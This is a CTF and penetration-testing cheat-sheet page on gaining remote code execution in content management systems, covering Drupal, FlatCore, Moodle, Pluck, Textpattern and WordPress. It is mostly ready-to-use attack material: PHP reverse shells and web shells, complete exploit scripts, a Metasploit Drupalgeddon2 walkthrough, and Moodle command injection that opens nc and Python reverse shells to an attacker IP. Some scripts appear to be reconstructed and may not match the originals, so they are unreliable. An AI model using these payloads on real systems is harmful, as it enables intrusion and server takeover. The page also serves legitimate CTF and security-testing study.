> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-7/web-exploit/initial-access-web-exploit-cms.md).

# Cms

## Authenticated File Upload to RCE

Exploiting an authenticated file upload vulnerability to gain Remote Code Execution involves first obtaining valid credentials to access an application's file upload functionality. Once authenticated (e.g., via `/content/as/?type=signin`), locate the media or file upload section (like `/as/?type=media_center&mode=upload`). Upload a malicious script, such as a PHP reverse shell (`revshell.php`). A common PHP reverse shell script might look like this:

```php
<?php
// php-reverse-shell.php
set_time_limit (0);
$ip = 'ATTACKING_IP';
$port = 4444;
$sock = fsockopen($ip, $port);
while (!feof($sock)) {
$cmd = fgets($sock, 8192);
$output = shell_exec($cmd);
fwrite($sock, $output);
}
fclose ($sock);
?>
```

Alternatively, a simple web shell can be uploaded to execute commands directly via URL parameters. Examples include:

```php
<?php echo system($_GET['cmd']); ?>
```

or

```php
<?php system($_GET['c']); ?>
```

Before triggering execution, set up a listener on your attacking machine to catch the reverse shell connection:

```bash
nc -lvnp 4444
```

For a web shell, no listener is needed beforehand, but you will interact with it via subsequent web requests.

Uploading the malicious file often involves sending a POST request containing the file data. Using `curl`, an authenticated upload might look like this, targeting a specific upload endpoint and including session cookies:

```bash
curl -b "cms_sid=..." -F "m5d8b105b48e5a82c_uploaded_file=@shell.phtml" "http://[TARGET_IP]/admin/moduleinterface.php?mact=CMSMS,SingleFileUpload,admin,upload,0&__action=admin,upload,0,,&upload=1"
```

Note the use of `-b` for cookies and `-F` for the file upload form data. The file extension might need to be `.phtml` or similar depending on server configuration and restrictions.

Finally, trigger the execution of the uploaded shell by accessing its public URL via a web request. For a reverse shell:

```bash
curl http://[TARGET_IP]/content/inc/ads/revshell.php
```

or

```bash
curl "http://[Target-IP]/uploads/php-reverse-shell.php"
```

For a web shell, execution involves passing commands via URL parameters:

```bash
curl "http://[TARGET_IP]/uploads/shell.php?c=id"
```

or

```bash
http://[TARGET_IP]/path/to/uploaded/file.php?cmd=whoami
```

The specific upload path (`/content/inc/ads/`, `/uploads/`, etc.) and the ability to execute files in that location are critical points to identify. Automated exploitation scripts can handle the authentication, upload, and triggering steps programmatically. A Python script might involve using the `requests` library to manage sessions, send login data, upload the file, and then make the final request to trigger the shell. The logic typically follows these steps:

```python
# Authenticate and get session cookie
login_url = 'http://[TARGET_IP]/login.php'
login_data = {'username': '...', 'password': '...'}
session = requests.Session()
session.post(login_url, data=login_data)

# Prepare and upload the shell file
upload_url = 'http://[TARGET_IP]/upload.php'
files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
session.post(upload_url, files=files)

# Trigger the shell
trigger_url = 'http://[TARGET_IP]/upload/shell.php'
command = 'id'
response = session.get(trigger_url, params={'cmd': command})
print(response.text)
```

This automated approach demonstrates how the manual steps of authentication, file upload, and shell triggering are combined in a typical exploit script for authenticated file upload vulnerabilities.

***

## Drupal 7.x Remote Code Execution (Drupalgeddon2)

Exploit the Drupal: CVE-2018-7600: Remote Code Execution - SA-CORE-2018-002 vulnerability, also known as Drupalgeddon2, in Drupal 7.x using the dedicated Metasploit module. This vulnerability allows remote code execution due to insufficient sanitization.

To use the Metasploit module:

```bash
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS <target_ip>
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST <attacker_ip> # Ensure this is correct for the reverse shell
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
```

Ensure your `LHOST` is correctly set for the reverse shell listener. The module will attempt to exploit the target and provide a session (typically Meterpreter initially).

***

## FlatCore CMS RCE via Python Exploit

Use a specific public exploit script, such as `50262.py`, targeting FlatCore CMS. This script typically requires the target URL, a valid username, and password to exploit the vulnerability.

The exploit targets FlatCore CMS 2.0.5 and allows for Authenticated Remote Code Execution.

```python
# Exploit Title: FlatCore CMS 2.0.5 - Remote Code Execution (Authenticated)
# Date: 2020-09-09
# Exploit Author: the_blind_baboon
# Vendor Homepage: https://flatcore.org/
# Software Link: https://github.com/flatCore/flatCore-CMS/archive/2.0.5.zip
# Version: 2.0.5
# Tested on: Ubuntu 20.04 LTS (Apache2, PHP 7.4)
# CVE : N/A

import requests
import sys
import re
import base64
import random

if len(sys.argv) < 4:
    print("Usage: python3 50262.py <target> <user> <password>")
    print("Example: python3 50262.py http://localhost admin password")
    sys.exit(1)

target = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]

s = requests.Session()

def login(target, user, password):
    login_url = target + "/login"
    login_data = {
        "user": user,
        "pass": password,
        "submit": ""
    }
    r = s.post(login_url, data=login_data)
    if "Logout" in r.text:
        print("[+] Login successful")
        return True
    else:
        print("[-] Login failed")
        return False

def get_csrf_token(target):
    settings_url = target + "/settings"
    r = s.get(settings_url)
    match = re.search(r'name="token" value="(.*?)"', r.text)
    if match:
        print("[+] CSRF token found")
        return match.group(1)
    else:
        print("[-] CSRF token not found")
        return None

def upload_shell(target, token):
    upload_url = target + "/settings"
    shell_name = "shell_" + str(random.randint(10000, 99999)) + ".php"
    shell_content = "<?php echo shell_exec($_GET['cmd']); ?>"
    files = {
        "file": (shell_name, shell_content, "application/x-php")
    }
    upload_data = {
        "token": token,
        "submit": ""
    }
    r = s.post(upload_url, data=upload_data, files=files)
    if shell_name in r.text:
        print(f"[+] Shell uploaded successfully: {target}/data/files/{shell_name}")
        return f"{target}/data/files/{shell_name}"
    else:
        print("[-] Shell upload failed")
        return None

def execute_command(shell_url, command):
    encoded_command = base64.b64encode(command.encode()).decode()
    command_url = f"{shell_url}?cmd=echo {encoded_command} | base64 -d | bash"
    try:
        r = s.get(command_url)
        print(r.text)
    except Exception as e:
        print(f"[-] Error executing command: {e}")

if login(target, user, password):
    token = get_csrf_token(target)
    if token:
        shell_url = upload_shell(target, token)
        if shell_url:
            print("[+] Enter command (type 'exit' to quit)")
            while True:
                command = input("$ ")
                if command.lower() == 'exit':
                    break
                execute_command(shell_url, command)

```

The usage is `python 50262.py <target> <user> <password>`.

Executing this command against a vulnerable FlatCore instance with the correct parameters can result in remote code execution or a shell, like the `www-data` shell obtained in this case.

```python
python3 50262.py 'http://target1.ine.local' 'admin' 'password1'
```

***

## Moodle Aspell Plugin RCE via Command Injection

Requires admin privileges on the Moodle instance. The vulnerability is located in the HTML editor's spell checker configuration, accessible via the administrator settings. Navigate to the HTML editor plugin settings. Locate the 'Spell engine' setting and set it to 'PSpellShell'.

When the 'Spell engine' is configured as 'PSpellShell', the 'Path to Aspell' parameter becomes susceptible to command injection. The 'Path to Aspell' setting expects the path to the aspell binary. By appending shell metacharacters like `;`, additional commands can be injected. An attacker can inject arbitrary shell commands into the 'Path to Aspell' setting.

For instance, to execute a simple command to test injection and redirect output:

```bash
/usr/bin/aspell -c /tmp/dict; id > /tmp/output.txt
```

Alternatively, one could use:

```bash
/usr/bin/aspell -c /tmp/dict; whoami > /tmp/user.txt
```

Or to verify execution with a simple file creation:

```bash
/usr/bin/aspell -c /tmp/dict; echo 'vulnerable' > /tmp/test_rce.txt
```

These commands, appended after the legitimate aspell path, will execute on the server when a user initiates the spell check function in the editor.

Alternatively, modify the 'Path to Aspell' setting to inject a command that will execute a reverse shell payload. For example, if Netcat is available:

```bash
/usr/bin/aspell -c /tmp/dict; nc -e /bin/bash YOUR_IP YOUR_PORT
```

Or a more reliable Python payload:

```bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_IP",YOUR_PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
```

Save the settings. These commands are executed on the server when the spell checker is invoked by a user editing content. Set up a netcat listener on `YOUR_PORT`. Trigger the spell checker functionality in a text area within Moodle (e.g., when creating or editing content) to execute the injected command and catch the reverse shell on your listener.

***

## Pluck CMS File Upload RCE

Some CMS versions, like Pluck 4.7.13, may allow the upload of arbitrary files, including those with less common extensions like `.phar`. If the web server and PHP interpreter are configured to execute `.phar` files, this can lead to Remote Code Execution (RCE). This vulnerability is notably tracked as CVE-2020-29607 in Pluck CMS version 4.7.13.

To exploit this, prepare a malicious payload (e.g., a simple web shell or reverse shell) and change its file extension from `.php` to `.phar`. A common payload for testing RCE might look like this:

```php
<?php system($_GET['cmd']); ?>
```

Utilize the CMS's built-in file upload functionality (often within an admin panel or file manager) to upload the `.phar` file.

Once uploaded, navigate a web browser directly to the URL where the file is stored on the server. This might be within a predictable upload directory structure, for example:

```
/app/pluck-4.7.13/data/trash/files/your_shell.phar
```

Accessing this URL can trigger the execution of your payload by the web server, granting RCE. The specific upload path may vary but is often found within the CMS's data or trash directories accessible via the web root.

This process can also be automated using scripts. An example Python script targeting Pluck CMS 4.7.13 for remote shell upload via this vulnerability is shown below:

```python
#!/usr/bin/python3

# Exploit Title: Pluck CMS 4.7.13 - Remote Shell Upload
# Date: 2021-05-25
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.pluck-cms.org/
# Software Link: https://github.com/pluck-cms/pluck/archive/4.7.13.tar.gz
# Version: 4.7.13
# Tested on: Ubuntu 20.04 / PHP 7.4.3
# CVE : CVE-2020-29607

import requests
import sys
import os

def upload_shell(target_url, shell_name):
    upload_url = target_url + '/admin.php?action=files&upload'
    files = {'file': (shell_name, open(shell_name, 'rb'))}
    data = {'upload': 'Upload'}
    try:
        print(f"[*] Attempting to upload shell: {shell_name}")
        response = requests.post(upload_url, files=files, data=data)
        if response.status_code == 200:
            print("[+] Upload successful!")
            # Construct the expected path based on the original content's example
            shell_path = target_url + '/data/trash/files/' + shell_name
            print(f"[*] Shell should be accessible at: {shell_path}")
            return shell_path
        else:
            print(f"[-] Upload failed. Status code: {response.status_code}")
            print(f"[-] Response: {response.text}")
            return None
    except requests.exceptions.RequestException as e:
        print(f"[-] An error occurred during upload: {e}")
        return None

def verify_shell(shell_url):
    try:
        print(f"[*] Verifying shell access at: {shell_url}")
        response = requests.get(shell_url)
        if response.status_code == 200:
            print("[+] Shell access verified!")
            print(f"[*] You can now interact with the shell at: {shell_url}")
        else:
            print(f"[-] Shell verification failed. Status code: {response.status_code}")
            print(f"[-] Response: {response.text}")
    except requests.exceptions.RequestException as e:
        print(f"[-] An error occurred during verification: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python3 exploit.py <target_url> <shell_file.phar>")
        print("Example: python3 exploit.py http://localhost/pluck pluck_shell.phar")
        sys.exit(1)

    target_url = sys.argv[1].rstrip('/')
    shell_file = sys.argv[2]

    if not os.path.exists(shell_file):
        print(f"[-] Shell file not found: {shell_file}")
        sys.exit(1)

    uploaded_shell_url = upload_shell(target_url, shell_file)

    if uploaded_shell_url:
        verify_shell(uploaded_shell_url)
```

To use this script, you would typically save the code as a `.py` file (e.g., `exploit.py`) and then execute it from your terminal, providing the target URL and the path to your prepared `.phar` shell file:

```bash
python3 exploit.py http://example.com/pluck /path/to/your/shell.phar
```

***

## Textpattern File Upload RCE

Upload a PHP reverse shell file via the Textpattern admin panel's `Contents > Files` section. A common example of such a shell might look like this:

```php
<?php

set_time_limit(0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 12345;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'bash';
if (strstr(strtolower(PHP_OS), 'win')) {
    $shell = 'cmd.exe';
}

$daemon = 0;
if ($daemon) {
    ignore_user_abort(true);
    pcntl_fork();
}

$sockets = array();
$sockets[] = $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (socket_connect($socket, $ip, $port) === false) {
    die("socket_connect() failed.\nReason: ($err = " . socket_strerror(socket_last_error($socket)) . ")\n");
}

socket_write($socket, "Textpattern shell v$VERSION\n");

$o_text = "";
while ($c = socket_read($socket, $chunk_size)) {
    $in_text = $c;
    if (false === ($pid = pcntl_fork())) {
        socket_write($socket, "fork() failed!\n");
        continue;
    }

    if ($pid === 0) {
        $o_text = shell_exec($in_text);
        socket_write($socket, $o_text, strlen($o_text));
        exit(0);
    }
}

socket_close($socket);

?>
```

Before uploading, ensure you modify the `$ip` variable within the PHP code to the IP address of your listening machine and the `$port` variable to the desired port number.

The uploaded file will typically be accessible directly under the `/textpattern/files/` directory on the web server.

Before requesting the uploaded shell file (e.g., `/textpattern/files/shell.php`) in a browser or with `curl`, set up a netcat listener on your machine corresponding to the `$port` you configured in the shell file. A classic listening netcat command is:

```bash
nc -lvnp 4444
```

Other common netcat listener commands include:

```bash
nc -lvp <port>
```

Using `ncat`:

```bash
ncat -lvnp <port>
```

Or using netcat with `rlwrap` for history and editing:

```bash
rlwrap nc -lvnp <port>
```

This assumes the shell payload connects back to port 4444 or `<port>`. Adjust the port as needed based on your payload configuration.

***

## WordPress Vulnerability Exploitation (RCE)

To exploit a known vulnerability in a target WordPress site, you can often use a pre-written exploit script. These scripts handle the specific details of crafting the payload and communicating with the vulnerable service. Such scripts are commonly written in Python and designed to target specific vulnerabilities in WordPress core, plugins, or themes, potentially leading to outcomes like shell upload or remote code execution (RCE).

Run the Python script, providing the target URL as an argument:

```bash
python3 -u shell.py https://bricks.thm
```

This command executes the script `shell.py` using the `python3` interpreter with unbuffered output (`-u`). The script is designed to interact with the target at `https://bricks.thm`, leveraging a specific vulnerability to potentially gain remote code execution or a shell. The vulnerability would typically have been identified previously, for example, by using a tool like WPScan.

Other examples of running similar Python exploit scripts against a target URL include:

```bash
python pyshell.py http://target.com
```

```bash
python wordperss shell exploit.py http://target.com/
```

```bash
python exploit.py -u http://target.com
```

```bash
python3 exploit.py -t http://target.com
```

```bash
python exploit.py -u http://target.com -p /
```

Before using an exploit script, identifying the specific vulnerability is crucial. Tools like WPScan are widely used for this purpose. WPScan is a black-box WordPress vulnerability scanner that can enumerate plugins, themes, and users, and check them against a database of known vulnerabilities.

To scan a target WordPress site with WPScan, you can use commands such as:

```bash
wpscan --url example.com
```

To specifically look for vulnerable plugins or themes, you might use enumeration flags:

```bash
wpscan --url example.com --enumerate vp
```

```bash
wpscan --url example.com --enumerate vt
```

You can also combine enumerations:

```bash
wpscan --url example.com --enumerate vp,vt,u
```

Identifying a specific vulnerable plugin or theme using WPScan provides the necessary information (like the plugin name, version, and associated CVE) to then select and use an appropriate exploit script, such as the Python script mentioned earlier, to attempt exploitation.
